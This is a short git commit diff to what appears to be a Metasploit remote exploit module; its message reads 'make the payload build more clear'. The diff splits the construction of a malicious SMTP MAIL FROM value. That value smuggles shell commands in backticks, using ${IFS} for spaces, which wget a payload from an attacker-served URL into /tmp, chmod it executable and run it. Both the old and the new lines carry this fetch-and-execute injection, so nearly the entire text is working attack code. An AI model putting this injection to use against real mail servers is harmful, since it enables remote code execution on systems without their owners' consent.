make the payload build more clear
parent
d76e14fc9c
commit
9025b52951
|
@ -158,7 +158,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Initiate the message
|
||||
#
|
||||
filename = rand_text_alpha_lower(8)
|
||||
from = "#{rand_text_alpha(3)}`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}``chmod${IFS}+x${IFS}/tmp/#{filename}``/tmp/#{filename}`@#{ehlo}"
|
||||
from = rand_text_alpha(3)
|
||||
from << "`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}`"
|
||||
from << "`chmod${IFS}+x${IFS}/tmp/#{filename}`"
|
||||
from << "`/tmp/#{filename}`"
|
||||
from << "@#{ehlo}"
|
||||
to = datastore['MAILTO']
|
||||
|
||||
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
|
||||
|
|
Loading…
Reference in New Issue